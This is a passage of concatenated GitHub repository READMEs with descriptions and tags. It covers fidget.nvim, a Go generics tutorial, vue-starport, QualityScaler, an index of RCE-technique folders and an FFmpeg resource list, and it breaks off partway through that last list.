logging logger = { level = vim.log.levels.WARN, -- Minimum logging level max_size = 10000, -- Maximum log file size, in KB float_precision = 0.01, -- Limit the number of decimals displayed for floats path = -- Where Fidget writes its logs to string.format("%s/fidget.nvim.log", vim.fn.stdpath("cache")), }, } ``` <!-- panvimdoc-ignore-start --> For more details, see [fidget-option.txt](doc/fidget-option.txt). <!-- panvimdoc-ignore-end --> <!-- panvimdoc-include-comment For more details, see |fidget-option.txt|. --> ## Lua API <!-- panvimdoc-ignore-start --> Fidget has a Lua API, with [documentation](doc/fidget-api.txt) generated from source code. You are encouraged to hack around with that. <!-- panvimdoc-ignore-end --> <!-- panvimdoc-include-comment See |fidget-api.txt|. --> <!-- To re-generate commands docs, run: :put = execute('lua print(dofile([[lua/fidget/commands.lua]]).make_panvimdocs())') --> <!-- {{{ Generated from fidget.commands.lua --> ## Commands <!-- panvimdoc-include-comment ```vimdoc *fidget-:Fidget* *:Fidget* ``` --> Fidget exposes some of its Lua API functions through `:Fidget` sub-commands (e.g., `:Fidget clear`), which support shell-like arguments and completion. These sub-commands are documented below. <!-- panvimdoc-ignore-start --> ### `:Fidget` sub-commands #### `:Fidget clear` Clear active notifications <details> <summary><i>Arguments</i></summary> Positional arguments: - **`{group_key}`**: _`(any)`_ group to clear </details> #### `:Fidget clear_history` Clear notifications history <details> <summary><i>Arguments</i></summary> Flags: - **`--before {seconds}`**: _`(number)`_ filter history for items updated at least this long ago - **`--group_key {group_key}`**: _`(any)`_ clear history by group key - **`--include_active {true|false}`**: _`(boolean)`_ whether to clear items that have not been removed (default: true) - **`--include_removed {true|false}`**: _`(boolean)`_ whether to clear items that have have been removed (default: true) - **`--since {seconds}`**: _`(number)`_ filter history for items updated at most this long ago Positional arguments: - **`{group_key}`**: _`(any)`_ clear history by group key </details> #### `:Fidget history` Show notifications history <details> <summary><i>Arguments</i></summary> Flags: - **`--before {seconds}`**: _`(number)`_ filter history for items updated at least this long ago - **`--group_key {group_key}`**: _`(any)`_ filter history by group key - **`--include_active {true|false}`**: _`(boolean)`_ whether to clear items that have not been removed (default: `true`) - **`--include_removed {true|false}`**: _`(boolean)`_ whether to clear items that have have been removed (default: `true`) - **`--since {seconds}`**: _`(number)`_ filter history for items updated at most this long ago Positional arguments: - **`{group_key}`**: _`(any)`_ filter history by group key </details> #### `:Fidget lsp_suppress` Suppress LSP progress notifications <details> <summary><i>Arguments</i></summary> Positional arguments: - **`{suppress}`**: _`(boolean)`_ whether to suppress (omitting this argument toggles suppression) </details> #### `:Fidget suppress` Suppress notification window <details> <summary><i>Arguments</i></summary> Positional arguments: - **`{suppress}`**: _`(boolean)`_ whether to suppress (omitting this argument toggles suppression) </details> <!-- panvimdoc-ignore-end --> <!-- panvimdoc-include-comment ```vimdoc :Fidget clear *fidget-:Fidget-clear* Clear active notifications Positional arguments: ~ {group_key} (any) group to clear :Fidget clear_history *fidget-:Fidget-clear_history* Clear notifications history Flags: ~ --before {seconds} (number) filter history for items updated at least this long ago --group_key {group_key} (any) clear history by group key --include_active {true|false} (boolean) whether to clear items that have not been removed (default: true) --include_removed {true|false} (boolean) whether to clear items that have have been removed (default: true) --since {seconds} (number) filter history for items updated at most this long ago Positional arguments: ~ {group_key} (any) clear history by group key :Fidget history *fidget-:Fidget-history* Show notifications history Flags: ~ --before {seconds} (number) filter history for items updated at least this long ago --group_key {group_key} (any) filter history by group key --include_active {true|false} (boolean) whether to clear items that have not been removed (default: `true`) --include_removed {true|false} (boolean) whether to clear items that have have been removed (default: `true`) --since {seconds} (number) filter history for items updated at most this long ago Positional arguments: ~ {group_key} (any) filter history by group key :Fidget lsp_suppress *fidget-:Fidget-lsp_suppress* Suppress LSP progress notifications Positional arguments: ~ {suppress} (boolean) whether to suppress (omitting this argument toggles suppression) :Fidget suppress *fidget-:Fidget-suppress* Suppress notification window Positional arguments: ~ {suppress} (boolean) whether to suppress (omitting this argument toggles suppression) ``` --> <!-- Generated from fidget.commands.lua }}} --> ## Highlights Rather than defining its own highlights, Fidget's default configuration uses built-in highlight groups that are typically overridden by custom Vim color schemes. With any luck, these will look reasonable when rendered, but the visual outcome will really depend on what your color scheme decided to do with those highlight groups. You can override these highlight groups (e.g., `icon_style`) using the `:h fidget-options` shown above. ## Related Work [rcarriga/nvim-notify](https://github.com/rcarriga/nvim-notify) is first and foremost a `vim.notify()` backend, and it also supports [LSP progress notifications](https://github.com/rcarriga/nvim-notify/wiki/Usage-Recipes#lsp-status-updates) (with the integration seems to have been packaged up in [mrded/nvim-lsp-notify](https://github.com/mrded/nvim-lsp-notify)). [vigoux/notifier.nvim](https://github.com/vigoux/notifier.nvim) is a `vim.notify()` backend that comes with first-class LSP notification support. [neoclide/coc.nvim](https://github.com/neoclide/coc.nvim) provides a nice LSP progress UI in the status line, which first inspired my desire to have this feature for nvim-lsp. [arkav/lualine-lsp-progress](https://github.com/arkav/lualine-lsp-progress) was the original inspiration for Fidget, and funnels LSP progress messages into [nvim-lualine/lualine.nvim](https://github.com/nvim-lualine/lualine.nvim). I once borrowed some of its code (though much of that code has since been rewritten). [nvim-lua/lsp-status.nvim](https://github.com/nvim-lua/lsp-status.nvim) also supports showing progress text, though it requires some configuration to integrate that into their status line. ### Acknowledgements Most of the Fidget spinner patterns were adapted from the npm package [sindresorhus/cli-spinners](https://github.com/sindresorhus/cli-spinners).

💫 Extensible UI for Neovim notifications and LSP progress messages.

neovim,neovim-plugin

akutz/go-generics-the-hard-way

# Go generics the hard way I started using Go back around 2015 and was immediately surprised by the lack of a generic type system. Sure, the empty `interface{}` existed, but that was hardly the same. At first I thought I ~~wanted~~ _needed_ generics in Go, but over time I began appreciating the simplicity of the language. Therefore I was ambivalent at best when I learned of discussions to introduce generics in Go 2.0, and once the timetable was accelerated to 1.18, I decided it was time to dig into the proposal. After a while, I gained an appreciation for how generics are implemented with the same elegance as Golang itself, and this moved me to share my experience. _Go generics the hard way_ is a culmination of the time I spent playing with this new feature and provides a hands-on approach to learning all about generics in Go. * [**Labs**](#labs): a hands-on approach to learning Go generics * [**FAQ**](#FAQ): answers to some of the most frequently asked questions regarding Go generics * [**Links**](#links): links to related reference material and projects that use generics ## Labs 1. [**Prerequisites**](./01-prereqs/): how to install the prerequisites required to run the examples in this repository 2. [**Hello world**](./02-hello-world/): a simple example using generics 3. [**Getting started**](./03-getting-started): an introduction to go generics 4. [**Getting going**](./04-getting-going): basic concepts explored 5. [**Internals**](./05-internals/): how generics are implemented in golang 6. [**Benchmarks**](./06-benchmarks/): basic benchmarks for common patterns using generics 7. [**Lessons learned**](./07-lessons-learned/): lessons learned from digging into generics ## FAQ * [**How are you using generics in the Go playground?**](#how-are-you-using-generics-in-the-go-playground) * [**What is `T`?**](#what-is-t) * [**What is this `any` I keep seeing everywhere?**](#what-is-this-any-i-keep-seeing-everywhere) * [**What does the tilde `~` do?**](#what-does-the-tilde-do) * [**Do Go generics use _type erasure_?**](#do-go-generics-use-type-erasure) ### How are you using generics in the Go playground? We can use [the Go playground in “Go dev branch” mode](https://go.dev/play/?v=gotip) to edit and run your program with generics. ### What is `T`? The symbol `T` is often used when discussing generic types because `T` is the first letter of the word _**t**ype_. That is really all there is too it. Just like `x` or `i` are often the go-to variable names for loops, `T` is the go-to symbol for generic types. For what is worth, `K` is often used when there is more than one generic type, ex. `T, K`. ### What is this `any` I keep seeing everywhere? The word `any` is a new, [predeclared identifier](https://go.dev/ref/spec#Predeclared_identifiers) and is [equivalent to the empty interface in all ways](https://github.com/golang/go/blob/24239120bfbff9ebee8e8c344d9d3a8ce460b686/src/builtin/builtin.go#L94-L95). Simply put, writing and reading `any` is just more user friendly than `interface{}` :smiley:. ### What does the tilde `~` do? The `~` symbol is used to express that `T` may be satisfied by a defined or named type directly or by a type definition that has the same, underlying type as another defined or named type. To learn more about type constraints and the `~` symbol, please refer to the section [_Tilde `~`_](./03-getting-started/06-tilde.md). ### Do Go generics use _type erasure_? Generics in Go are not implemented with type erasure. Please jump to [_Internals_](./05-internals/) for more information. ## Links ### Additional reading * [**Type parameter proposal**](https://go.googlesource.com/proposal/+/refs/heads/master/design/43651-type-parameters.md): the accepted proposal for introdicing generics to go * [**Getting started with generics**](https://go.dev/doc/tutorial/generics): a tutorial from the authors of go for getting started with generics * [**Go language specification**](https://go.dev/ref/spec): the reference manual for the go language * [**Go FAQ**](https://go.dev/doc/faq): frequently asked questions for go ### Projects using generics * [**Controller-runtime**](https://gist.github.com/akutz/887fa677f2196c341d85595f14c6280b): a write-up and patchset for implementing conditions logic, patch helpers, and simple reconcilers using generics * [**Go collections**](https://github.com/mikhailswift/go-collections): generic utility functions for dealing with collections in go * [**go-generics-example**](https://github.com/mattn/go-generics-example): examples using generics

A hands-on approach to getting started with Go generics.

ibeatai/apm

## APM What will happen when agent has mind? APM ( Agent plus Mind ) will give you the final answer.

What will happen when agent has mind? APM ( Agent plus Mind ) will give you the final answer.

opencsapp/opencsapp.github.io

# 欢迎来到 Open CS Application [![CC BY-NC-SA 4.0][cc-by-nc-sa-shield]][cc-by-nc-sa] [](https://github.com/opencsapp/opencsapp.github.io/subscription) [](https://github.com/opencsapp/opencsapp.github.io/fork) [](https://github.com/opencsapp/opencsapp.github.io) [](https://github.com/xichenpan) ### [opencs.app](https://opencs.app/) | [csmsapp.org](https://csmsapp.org/) | [opencsapp.github.io](https://opencsapp.github.io/) 本站内容开源协同创作，期待你[贡献内容](https://opencs.app/contribute/)。如果你喜欢这个网站，请点亮 :star:Star 支持我们！ 欢迎加入社区讨论： - [~~QQ① 群：466094878~~（**已满**）](http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&k=jyDQE5i1T_Obns8xWxMzab51NqGXm3Sm&authKey=RNkbnwhB01W3L%2BLHPCjza6J7Vl%2FvGV11g80uIPvJtT8SCmCU8DjAEZROCkScCNIE&noverify=0&group_code=466094878) - [QQ 24Fall 群：832875166](http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&k=R8GK_C1rL6STeJHzblKE2PYnVzKC6ZXt&authKey=ONZY6oHbftyMHCncn8J2GmvlMI%2B27Z2w%2FpfH7vhZWOhUMokGgo8i%2FQJXHcKzcRth&noverify=0&group_code=832875166) - [QQ② 群：544855574](http://qm.qq.com/cgi-bin/qm/qr?_wv=1027&k=Lw6khzD63SpyFjfzd3xRNJar24Ltsq_k&authKey=Eo%2F5Rfsk7VDsWDTMe6TV61D1otmc4%2BoE%2FfoANBgOZcwklZwBzYz2N1ao13gxoYmi&noverify=0&group_code=544855574) - [Discord：https://discord.gg/HeB9QXZdFR](https://discord.gg/HeB9QXZdFR) [](https://star-history.com/#opencsapp/opencsapp.github.io&Date) [](https://github.com/opencsapp/opencsapp.github.io/stargazers) [](https://github.com/opencsapp/opencsapp.github.io/network/members) ### Contributed By <a href="https://github.com/opencsapp/opencsapp.github.io/graphs/contributors"> <img src="https://contrib.rocks/image?repo=opencsapp/opencsapp.github.io" /> </a> OpenCSApp follows [Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License][cc-by-nc-sa] [![CC BY-NC-SA 4.0][cc-by-nc-sa-image]][cc-by-nc-sa] [cc-by-nc-sa]: http://creativecommons.org/licenses/by-nc-sa/4.0/ [cc-by-nc-sa-image]: https://licensebuttons.net/l/by-nc-sa/4.0/88x31.png [cc-by-nc-sa-shield]: https://img.shields.io/badge/License-CC%20BY--NC--SA%204.0-lightgrey.svg

Open CS Application | 开源CS申请

application,graduate-application,master,phd,phd-application,computer,computer-science

antfu/vue-starport

<br> <br> <p align="center"> <img height="200" src="./graphs/logo.png" alt="Vue Starport"> </p> <p align="center"> Shared Vue component across routes with animations </p> <p align="center"><a href="https://www.npmjs.com/package/vue-starport"><img src="https://img.shields.io/npm/v/vue-starport?color=3fb883&amp;label=" alt="NPM version"></a></p> <p align="center"><a href="https://vue-starport.netlify.app/">Live Demo</a></p> <p align="center">English | <a href="./README.zh-Hans.md">简体中文</a></p> <br> <br> > **Note**: With the [View Transitions API](https://developer.chrome.com/docs/web-platform/view-transitions/) coming to the browsers, you may not this library anymore (even tho it's not a 1:1 replacement as View Transition does not preseve dom and state). ## Why? It's quite common you might have a same component used in different routes (pages) with a bit different sizes and positions. Sometimes you might want to animate them when user navigates between routes to provide a smooth UX. While such animation is common to be seen in native apps, it's could be a bit challenging to do it in Web. Vue's component structure is presented as a **tree**, and the child components are in different branches with their own instances. Meaning when users navigate between routes, the components are not shared across routes. <p align="center"> <img src="./graphs/graph1.png" width="400" /> </p> By that means you can't directly animate the changes because they are in two different instances. The good news is, there is a technique called [FLIP](https://github.com/googlearchive/flipjs) to enumerate the transitions between them. However, FLIP only solves the problem of transitions, the components are still not the same. During the navigation, the internal state of the component will lost. Thus I started this new approach **Starport** to experiment with a better solution to fit this requirement. ## How? So since we can't share the components across different branches in the component tree, we could actually hoist them to the root so they become independent from the routes. To allow each page to still have control of the components, we introduced a **Proxy component** to present the expected size and position of that component. The proxy will pass the props and position information to the actual component and let it "fly over" the proxy with animations. <p align="center"> <img src="./graphs/graph2.png" width="450" /> </p> When the transition ends and it arrived to the expected position, it will then "land down" to the actual component using the [`<Teleport/>`](https://vuejs.org/guide/built-ins/teleport.html) component. <p align="center"> <img src="./graphs/graph3.png" width="400" /> </p> With this "landing" mechanism, the DOM tree will be preserved as what you will have with the original tree structure. When navigating to another route, the component then will "lift off" back to the floating state, "fly" to the new proxy's position and "land" again. This is very similar to [Terran's Buildings](https://starcraft.fandom.com/wiki/Lift_Off) in [StarCraft](https://starcraft2.com/) (able to leave the ground and fly to new locations). It's also the inspiration source of the project name [**Starport**](https://starcraft.fandom.com/wiki/Starport). <p align="center"> <img src="./graphs/starcraft-demo.png" width="500" /> </p> ## Install > ⚗️ **Experimental** ``` npm i vue-starport ``` > Vue Starport only works for Vue 3 ## Usage Add `<StarportCarrier>` component from `vue-starport` to your root component (`app.vue`). All `<Starport>` usage should be inside `<StarportCarrier>` component. ```html <script setup> import { StarportCarrier } from 'vue-starport' </script> <template> <StarportCarrier> <!-- here --> <RouterView /> </StarportCarrier> </template> ``` In routes, wrap the component with the `<Starport>` component. ```html <!-- PageA.vue --> <script setup> import { Starport } from 'vue-starport' </script> <template> <div> <!-- ... --> <Starport port="my-id" style="height:400px"> <MyComponent :prop="value"/> </Starport> </div> </template> ``` On the other page, we do the same thing with **the same `port` id** to identify the instance. ```html <!-- PageB.vue --> <script setup> import { Starport } from 'vue-starport' </script> <template> <div> <!-- ... --> <Starport port="my-id" style="height:600px"> <MyComponent :prop="value"/> </Starport> </div> </template> ``` > Note that you might need to apply some styles to `<Starport>` to make it have a defined size indicating the area for the "floating starcraft" to land. Checkout the [Playground](./playground/) for more examples. ### Register Components Globally ```ts // main.ts import StarportPlugin from 'vue-starport' app.use(StarportPlugin()) ``` And then you can use `Starport` and `StarportCarrier` components without importing. ### Keep Alive By default, when navigating to a page without a corresponding `<Starport>` proxy to land, the component will be destroyed. If you want to keep the component alive even when it's not presented in the current route, you can set `keepAlive` to `true` for that specific instance. ```html <Starport keep-alive port="my-id"> <MyComponent /> </Starport> ``` To configure it globally, you can pass options to the plugin: ```ts // main.ts import StarportPlugin from 'vue-starport' app.use(StarportPlugin({ keepAlive: true })) ``` ## Debug To debug what happens during the transition, you can add the follow CSS to highlight the parts ```css [data-starport-craft] { background: #0805; } [data-starport-proxy]:not([data-starport-landed]) { background: #8005; } ``` ## Special Thanks Thanks to [@hangsman](https://github.com/hangsman) who helped to provide the initial solution of proper teleport the element and made this idea valid. Also thanks to the viewers of [my live-streaming on Bilibili](https://space.bilibili.com/668380), those who spend time with me to working on this idea and provided useful feedback during the live. You can check [the recordings of my live-streams (in Chinese)](https://www.bilibili.com/video/BV1na41147qR), where I wrote this project from scratch. 你可以在哔哩哔哩观看我实现此项目的 [直播录像](https://www.bilibili.com/video/BV1na41147qR)。 ## Sponsors <p align="center"> <a href="https://cdn.jsdelivr.net/gh/antfu/static/sponsors.svg"> <img src='https://cdn.jsdelivr.net/gh/antfu/static/sponsors.svg'/> </a> </p> ## License [MIT](./LICENSE) License © 2022 [Anthony Fu](https://github.com/antfu)

🛰 Shared component across routes with animations

Djdefrag/QualityScaler

<!DOCTYPE html> <html> <body> <div align="center"> <img src="https://github.com/Djdefrag/QualityScaler/blob/main/Assets/logo.png" width="175"> <br><br> QualityScaler - image/video AI upscaler app <br><br> <a href="https://jangystudio.itch.io/qualityscaler"> <button> <img src="https://static.itch.io/images/badge-color.svg" width="225" height="70"> </button> </a> <a href="https://store.steampowered.com/app/2463110/QualityScaler/"> <button> <img src="https://images.squarespace-cdn.com/content/v1/5b45fae8b98a78d9d80b9c5c/1531959264455-E7B8MJ3VMPX0593VGCZG/button-steam-available-fixed-2.png" width="250" height="70"> </button> </a> </div> <br> <div align="center"> <img src="https://github.com/Djdefrag/QualityScaler/assets/32263112/f02352ad-1549-4fdc-80be-299a68c6f084"> </div> </body> </html> ## What is QualityScaler? Qualityscaler is a Windows app powered by AI to enhance, upscale and de-noise photographs and videos. ## Other AI projects.🤓 - https://github.com/Djdefrag/RealScaler / RealScaler - image/video AI upscaler (Real-ESRGAN) - https://github.com/Djdefrag/FluidFrames.RIFE / FluidFrames.RIFE - video AI frame generation ## Credits. - BSRGAN - https://github.com/cszn/BSRGAN - Real-ESRGAN - https://github.com/xinntao/Real-ESRGAN ## Citations. ❤ - https://80.lv/articles/80-level-digest-great-ai-powered-tools-for-upscaling-images/ - https://timesavervfx.com/ai-upscale/ ## How is made. 🛠 QualityScaler is completely written in Python, from backend to frontend. External packages are: - AI -> torch / onnxruntime-directml - GUI -> customtkinter - Image/video -> OpenCV / moviepy - Packaging -> nuitka ## Make it work by yourself. 👨‍💻 Prerequisites. - Python installed on your pc, you can download it from here (https://www.python.org/downloads/release/python-3119/) - VSCode installed on your pc, you can download it from here (https://code.visualstudio.com/) Getting started. - First of all, you need to download the project on your PC (Green button Code > Download ZIP) - Extract the project directory from the .zip - Now you need to download the AI models (github won't let me upload them directly because they are too big) - In "AI-onnx" folder, there is the link to download the AI models, download the .zip and extract the files in AI-onnx directory - Open the project with VSCode (just Drag&Drop the project directory on VSCode) - Click on QualityScaler.py from left bar (VSCode will ask you to install some plugins, go ahead) - Now, you need to install dependencies. In VSCode there is the "Terminal" panel, click there and execute the command "pip install -r requirements" - Close VSCode and re-open it (this will refresh all the dependecies installed) - Just click on the "Play button" in the upper right corner of VSCode - Now the app should work ## Requirements. 🤓 - Windows 11 / Windows 10 - RAM >= 8Gb - Any Directx12 compatible GPU with >= 4GB VRAM ## Features. - [x] Easy to use GUI - [x] Images and Videos upscale - [x] Multiple AI models - [x] Automatic image tiling and merging to avoid gpu VRAM limitation - [x] Resize image/video before AI upscaling - [x] Interpolation between the original and upscaled image/video - [x] Compatible images - png, jpeg, bmp, webp, tif - [x] Compatible video - mp4, wemb, gif, mkv, flv, avi, mov, qt ## Next steps. 🤫 - [x] 1.X versions - [x] Switch to Pytorch-directml to support all Directx12 compatible gpu (AMD, Intel, Nvidia) - [x] New GUI with Windows 11 style - [x] Include audio for upscaled video - [x] Optimizing video frame resize and extraction speed - [x] Multi GPU support (for pc with double GPU, integrated + dedicated) - [x] Python 3.10 (expecting ~10% more performance) - [x] 2.X versions - [x] New, completely redesigned graphical interface based on @customtkinter - [x] Upscaling images and videos at once (currently it is possible to upscale images or single video) - [x] Upscale multiple videos at once - [x] Choose upscaled video extension - [x] Interpolation between the original and upscaled image/video - [x] More Interpolation levels (Low, Medium, High) - [x] Show the remaining time to complete video upscaling - [x] Support for SRVGGNetCompact AI architecture - [x] Metadata extraction and application from original file to upscaled file (via exiftool) - [x] Support for SAFMN AI architecture - [ ] 3.X versions - [x] New AI engine powered by onnxruntime-directml (https://pypi.org/project/onnxruntime-directml/) - [x] Python 3.11 (~10% performance improvements) - [x] Display images/videos upscaled resolution in the GUI - [x] FFMPEG 7 (latest release) - [x] Video multi-threading AI upscale - [ ] Python 3.12 - [ ] Video upscaling pause and restart ## Some Example. #### Videos  https://user-images.githubusercontent.com/32263112/209139639-2b123b83-ac6e-4681-b94a-954ed0aea78c.mp4 #### Images      

QualityScaler - image/video AI upscaler app

python,amd,intel,nvidia,directx-12,windows,compression-artifact-reduction,deep-learning,gui-application,noise-reduction

p0dalirius/Awesome-RCE-techniques

# Awesome RCE techniques <p align="center"> Awesome list of techniques to achieve Remote Code Execution (RCE) on various apps! <br> <img alt="Number of RCE techniques" src="https://img.shields.io/badge/techniques-24-brightgreen"> <a href="https://twitter.com/intent/follow?screen_name=podalirius_" title="Follow"><img src="https://img.shields.io/twitter/follow/podalirius_?label=Podalirius&style=social"></a> <a href="https://www.youtube.com/c/Podalirius_?sub_confirmation=1" title="Subscribe"><img alt="YouTube Channel Subscribers" src="https://img.shields.io/youtube/channel/subscribers/UCF_x5O7CSfr82AfNVTKOv_A?style=social"></a> <br> </p> ## Goal of this project The goal of this project is to provide an OpenSource knowledge database of all the techniques to achieve Remote Code Execution (RCE) on various applications. All of these techniques also comes with a test environnement (usually a Docker image) for you to train these techniques. ## Techniques - [Content-Management-Systems-(CMS)](./Content-Management-Systems-(CMS)/) + [**Drupal**: (3 techniques)](./Content-Management-Systems-(CMS)/Drupal/) + [**FuelCMS**: (1 technique)](./Content-Management-Systems-(CMS)/FuelCMS/) + [**Joomla**: (1 technique)](./Content-Management-Systems-(CMS)/Joomla/) + [**SweetRice**: (2 techniques)](./Content-Management-Systems-(CMS)/SweetRice/) + [**Typo3**: (1 technique)](./Content-Management-Systems-(CMS)/Typo3/) + [**Wordpress**: (3 techniques)](./Content-Management-Systems-(CMS)/Wordpress/) - [Frameworks](./Frameworks/) + [**Apache-Tomcat**: (2 techniques)](./Frameworks/Apache-Tomcat/) + [**JBoss**: (1 technique)](./Frameworks/JBoss/) + [**JoGet**: (1 technique)](./Frameworks/JoGet/) + [**WildFly**: (1 technique)](./Frameworks/WildFly/) - [Learning-Management-Systems-(LMS)](./Learning-Management-Systems-(LMS)/) + [**Moodle**: (1 technique)](./Learning-Management-Systems-(LMS)/Moodle/) - [Other](./Other/) + [**GiTea**: (1 technique)](./Other/GiTea/) + [**Gitlab**: (1 technique)](./Other/Gitlab/) + [**Jenkins**: (1 technique)](./Other/Jenkins/) + [**LimeSurvey**: (1 technique)](./Other/LimeSurvey/) + [**PHP**: (1 technique)](./Other/PHP/) + [**Rocket.Chat**: (1 technique)](./Other/Rocket.Chat/) + [**Webmin**: (1 technique)](./Other/Webmin/) ## Work in progress These techniques are a work in progress. You can help us finish them by opening a pull request! ## Troubleshooting Report all the issues on https://github.com/p0dalirius/Awesome-RCE-techniques/issues. ## Contributors Pull requests are welcome. Feel free to open an issue if you want to add other Remote Code Execution (RCE) techniques.

Awesome list of step by step techniques to achieve Remote Code Execution on various apps!

rce,framework,awesome-list,code,execution,exploit,bugbounty,cms

0voice/ffmpeg_develop_doc

# 💯 2024年，最新 ffmpeg 资料整理，项目（调试可用），命令手册，文章，编解码论文，视频讲解，面试题全套资料 </br> <p align="center"> <a> <img width="70%" height="70%" src="https://ahmadawais.com/wp-content/uploads/2021/05/FFmpeg.jpg"></a> </p> </br> 本repo搜集整理全网ffmpeg学习资料。 所有数据来源于互联网。所谓取之于互联网，用之于互联网。 如果涉及版权侵犯，请邮件至 wchao_isvip@163.com ，我们将第一时间处理。 如果您对我们的项目表示赞同与支持，欢迎您 [lssues](https://github.com/0voice/ffmpeg_develop_doc/issues) 我们，或者邮件 wchao_isvip@163.com 我们，更加欢迎您 pull requests 加入我们。 感谢您的支持！ <p align="center"> <a href="https://github.com/0voice/ffmpeg_develop_doc#%E5%85%B3%E6%B3%A8%E5%BE%AE%E4%BF%A1%E5%85%AC%E4%BC%97%E5%8F%B7%E5%90%8E%E5%8F%B0%E6%9C%8D%E5%8A%A1%E6%9E%B6%E6%9E%84%E5%B8%88%E8%81%94%E7%B3%BB%E6%88%91%E4%BB%AC%E5%85%8D%E8%B4%B9%E8%8E%B7%E5%8F%96%E6%9B%B4%E5%A4%9Affmepg%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%96%99"><img src="https://img.shields.io/badge/微信公众号-green" alt=""></a> <a href="https://www.zhihu.com/people/xiao-zhai-nu-linux"><img src="https://img.shields.io/badge/知乎-blue" alt=""></a> <a href="https://space.bilibili.com/64514973"><img src="https://img.shields.io/badge/bilibili-red" alt=""></a> </p> - 目录 - [@ 开源项目](https://github.com/0voice/ffmpeg_develop_doc#-%E5%BC%80%E6%BA%90%E9%A1%B9%E7%9B%AE) - [@ 典藏文档](https://github.com/0voice/ffmpeg_develop_doc#-%E5%85%B8%E8%97%8F%E6%96%87%E6%A1%A3) - [@ 系列文章](https://github.com/0voice/ffmpeg_develop_doc#-%E6%96%87%E7%AB%A0) - [@ 面试题](https://github.com/0voice/ffmpeg_develop_doc#-%E9%9D%A2%E8%AF%95%E9%A2%98) - [@ 教学视频](https://github.com/0voice/ffmpeg_develop_doc#-%E8%A7%86%E9%A2%91) - [@ 学术论文](https://github.com/0voice/ffmpeg_develop_doc#-%E8%AE%BA%E6%96%87) - [@ 资料下载](https://github.com/0voice/ffmpeg_develop_doc#%E8%81%94%E7%B3%BB%E4%B8%93%E6%A0%8F) ## 🏗 开源项目 - [bilibili/ijkplayer](https://github.com/bilibili/ijkplayer): 基于FFmpeg n3.4的Android/iOS视频播放器，支持MediaCodec, VideoToolbox。 - [befovy/fijkplayer](https://github.com/befovy/fijkplayer): ijkplayer for flutter. ijkplayer 的 flutter 封装。 Flutter video/audio player. Flutter media player plugin for android/iOS based on ijkplayer. fijkplayer 是基于 ijkplayer 封装的 flutter 媒体播放器，开箱即用，无需编译 ijkplayer - [mpv-player/mpv](https://github.com/mpv-player/mpv): 命令行视频播放器 - [CarGuo/GSYVideoPlayer](https://github.com/CarGuo/GSYVideoPlayer): 视频播放器（IJKplayer、ExoPlayer、MediaPlayer），HTTPS，支持弹幕，外挂字幕，支持滤镜、水印、gif截图，片头广告、中间广告，多个同时播放，支持基本的拖动，声音、亮度调节，支持边播边缓存，支持视频自带rotation的旋转（90,270之类），重力旋转与手动旋转的同步支持，支持列表播放 ，列表全屏动画，视频加载速度，列表小窗口支持拖动，动画效果，调整比例，多分辨率切换，支持切换播放器，进度条小窗口预览，列表切换详情页面无缝播放，rtsp、concat、mpeg。 - [mpenkov/ffmpeg-tutorial](https://github.com/mpenkov/ffmpeg-tutorial): 教程，演示如何编写一个基于FFmpeg的视频播放器 - [imoreapps/ffmpeg-avplayer-for-ios-tvos](https://github.com/imoreapps/ffmpeg-avplayer-for-ios-tvos): 一个微小但强大的iOS和Apple TV OS的av播放器框架，是基于FFmpeg库。 - [unosquare/ffmediaelement](https://github.com/unosquare/ffmediaelement): FFME:高级WPF MediaElement(基于FFmpeg) - [microshow/RxFFmpeg](https://github.com/microshow/RxFFmpeg)：RxFFmpeg 是基于 ( FFmpeg 4.0 + X264 + mp3lame + fdk-aac + opencore-amr + openssl ) 编译的适用于 Android 平台的音视频编辑、视频剪辑的快速处理框架，包含以下功能：视频拼接，转码，压缩，裁剪，片头片尾，分离音视频，变速，添加静态贴纸和gif动态贴纸，添加字幕，添加滤镜，添加背景音乐，加速减速视频，倒放音视频，音频裁剪，变声，混音，图片合成视频，视频解码图片，抖音首页，视频播放器及支持 OpenSSL https 等主流特色功能 - [wang-bin/QtAV](https://github.com/wang-bin/QtAV): 基于Qt和FFmpeg的跨平台多媒体框架,高性能。用户和开发人员友好。支持Android, iOS, Windows商店和桌面。基于Qt和FFmpeg的跨平台高性能音视频播放框架 - [xufuji456/FFmpegAndroid](https://github.com/xufuji456/FFmpegAndroid): android端基于FFmpeg实现音频剪切、拼接、转码、编解码；视频剪切、水印、截图、转码、编解码、转Gif动图；音视频合成与分离，配音；音视频解码、同步与播放；FFmpeg本地推流、H264与RTMP实时推流直播；FFmpeg滤镜：素描、色彩平衡、hue、lut、模糊、九宫格等；歌词解析与显示 - [Zhaoss/WeiXinRecordedDemo](https://github.com/Zhaoss/WeiXinRecordedDemo): 仿微信视频拍摄UI, 基于ffmpeg的视频录制编辑 - [yangjie10930/EpMedia](https://github.com/yangjie10930/EpMedia): Android上基于FFmpeg开发的视频处理框架，简单易用，体积小，帮助使用者快速实现视频处理功能。包含以下功能：剪辑，裁剪，旋转，镜像，合并，分离，变速，添加LOGO，添加滤镜，添加背景音乐，加速减速视频，倒放音视频 - [goldvideo/h265player](https://github.com/goldvideo/h265player): 一套完整的Web版H.265播放器解决方案，非常适合学习交流和实际应用。基于JS码流解封装、WebAssembly(FFmpeg)视频解码，利用Canvas画布投影、AudioContext播放音频。 - [wanliyang1990/wlmusic](https://github.com/wanliyang1990/wlmusic): 基于FFmpeg + OpenSL ES的音频播放SDK。可循环不间断播放短音频；播放raw和assets音频文件；可独立设置音量大小；可实时现在音量分贝大小（用于绘制波形图）；可改变音频播放速度和音调（变速不变调、变调不变速、变速又变调）；可设置播放声道（左声道、右声道和立体声）；可边播边录留住美好音乐；可裁剪指定时间段的音频，制作自己的彩铃；还可以从中获取音频原始PCM数据(可指定采样率)，方便二次开发等。 - [Jackarain/avplayer](https://github.com/Jackarain/avplayer): 一个基于FFmpeg、libtorrent的P2P播放器实现 - [tsingsee/EasyPlayerPro-Win](https://github.com/tsingsee/EasyPlayerPro-Win): EasyPlayerPro是一款免费的全功能流媒体播放器，支持RTSP、RTMP、HTTP、HLS、UDP、RTP、File等多种流媒体协议播放、支持本地文件播放，支持本地抓拍、本地录像、播放旋转、多屏播放、倍数播放等多种功能特性，核心基于ffmpeg，稳定、高效、可靠、可控，支持Windows、Android、iOS三个平台，目前在多家教育、安防、行业型公司，都得到的应用，广受好评！ - [yangfeng1994/FFmpeg-Android](https://github.com/yangfeng1994/FFmpeg-Android): FFmpeg-Android 